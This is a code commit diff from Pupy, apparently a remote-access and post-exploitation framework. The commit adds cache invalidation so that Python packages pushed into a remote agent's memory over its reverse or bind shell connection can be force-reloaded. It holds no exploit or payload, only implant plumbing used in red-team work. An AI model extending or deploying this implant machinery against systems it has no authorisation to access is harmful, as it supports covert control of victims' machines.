Properly invalidate cache during forced package loading

pupy/packages/all/pupyimporter.py

@@ -31,7 +31,8 @@ try:
 except ImportError:
     builtin_memimporter = False
 
-modules={}
+modules = {}
+
 try:
     import pupy
     if not (hasattr(pupy, 'pseudo') and pupy.pseudo) and not modules:
@@ -61,10 +62,21 @@ def pupy_add_package(pkdic):
     module = cPickle.loads(pkdic)
 
     if __debug:
-        print 'Adding package: {}'.format([ x for x in module.iterkeys() ])
+        print 'Adding files: {}'.format([ x for x in module.iterkeys() ])
 
     modules.update(module)
 
+def has_module(name):
+    global module
+    return name in sys.modules
+
+def invalidate_module(name):
+    global module
+    if not name in sys.modules:
+        raise ValueError('Module {} is not loaded yet'.format(name))
+
+    del sys.modules[name]
+
 def native_import(name):
     __import__(name)
 
@@ -83,6 +95,7 @@ class PupyPackageLoader:
             dprint('loading module {}'.format(fullname))
             if fullname in sys.modules:
                 return sys.modules[fullname]
+
             mod=None
             c=None
             if self.extension=="py":
@@ -132,17 +145,15 @@ class PupyPackageLoader:
                        'Error while loading package {} ({}) : {}'.format(
                            fullname, self.extension, str(e)))
             raise e
+
         finally:
             imp.release_lock()
-        mod = sys.modules[fullname] # reread the module in case it changed itself
-        return mod
+
+        return sys.modules[fullname]
 
 class PupyPackageFinder:
     def __init__(self, modules):
         self.modules = modules
-        self.modules_list=[
-            x.rsplit(".",1)[0] for x in self.modules.iterkeys()
-        ]
 
     def find_module(self, fullname, path=None):
         imp.acquire_lock()
@@ -201,7 +212,9 @@ class PupyPackageFinder:
 
             dprint('--> Loading {} ({}) package={}'.format(
                 fullname, selected, is_pkg))
+
             return PupyPackageLoader(fullname, content, extension, is_pkg, selected)
+
         except Exception as e:
             raise e
         finally:

pupy/pp.py

@@ -113,6 +113,13 @@ REVERSE_SLAVE_CONF = dict(
     instantiate_oldstyle_exceptions=True,
 )
 
+class UpdatableModuleNamespace(ModuleNamespace):
+    __slots__ = ['__invalidate__']
+
+    def __invalidate__(self, name):
+        cache = self._ModuleNamespace__cache
+        if name in cache:
+            del cache[name]
 
 class ReverseSlaveService(Service):
     """ Pupy reverse shell rpyc service """
@@ -121,7 +128,8 @@ class ReverseSlaveService(Service):
     def on_connect(self):
         self.exposed_namespace = {}
         self._conn._config.update(REVERSE_SLAVE_CONF)
-        self._conn.root.set_modules(ModuleNamespace(self.exposed_getmodule))
+        self._conn.root.set_modules(
+            UpdatableModuleNamespace(self.exposed_getmodule))
 
     def on_disconnect(self):
         print "disconnecting !"
@@ -179,7 +187,8 @@ class BindSlaveService(ReverseSlaveService):
             self._conn.close()
             raise KeyboardInterrupt("wrong password")
 
-        self._conn.root.set_modules(ModuleNamespace(self.exposed_getmodule))
+        self._conn.root.set_modules(
+            UpdatableModuleNamespace(self.exposed_getmodule))
 
 
 def get_next_wait(attempt):

pupy/pupylib/PupyClient.py

@@ -305,8 +305,16 @@ class PupyClient(object):
         """
         # start path should only use "/" as separator
 
-        if module_name in self.conn.modules.sys.modules and not force:
-            return
+        update = False
+
+        pupyimporter = self.conn.modules.pupyimporter
+
+        if pupyimporter.has_module(module_name):
+            if not force:
+                return
+            else:
+                update = True
+                pupyimporter.invalidate_module(module_name)
 
         start_path=module_name.replace(".", "/")
         package_found=False
@@ -334,8 +342,6 @@ class PupyClient(object):
 
                 except Exception as e:
                     raise PupyModuleError("Error while loading package from sys.path %s : %s"%(module_name, traceback.format_exc()))
-        if "pupyimporter" not in self.conn.modules.sys.modules:
-            raise PupyModuleError("pupyimporter module does not exists on the remote side !")
 
         if not modules_dic:
             if self.desc['native']:
@@ -343,20 +349,20 @@ class PupyClient(object):
                     module_name, repr(self.get_packages_path())))
             else:
                 try:
-                    self.conn.modules.pupyimporter.native_import(module_name)
+                    pupyimporter.native_import(module_name)
                 except Exception as e:
                     raise PupyModuleError("Couldn't find package {} in \(path={}) and sys.path / python = {}".format(
                         module_name, repr(self.get_packages_path()), e))
 
-        if force or ( module_name not in self.conn.modules.sys.modules ):
-            self.conn.modules.pupyimporter.pupy_add_package(cPickle.dumps(modules_dic)) # we have to pickle the dic for two reasons : because the remote side is not aut0horized to iterate/access to the dictionary declared on this side and because it is more efficient
-            logging.debug("package %s loaded on %s from path=%s"%(module_name, self.short_name(), package_path))
-            if force and  module_name in self.conn.modules.sys.modules:
-                self.conn.modules.sys.modules.pop(module_name)
-                logging.debug("package removed from sys.modules to force reloading")
-            return True
+        # we have to pickle the dic for two reasons : because the remote side is
+        # not aut0horized to iterate/access to the dictionary declared on this
+        # side and because it is more efficient
+        pupyimporter.pupy_add_package(cPickle.dumps(modules_dic))
+        logging.debug("package %s loaded on %s from path=%s"%(module_name, self.short_name(), package_path))
+        if update:
+            self.conn.modules.__invalidate__(module_name)
 
-        return False
+        return True
 
     def run_module(self, module_name, args):
         """ start a module on this unique client and return the corresponding job """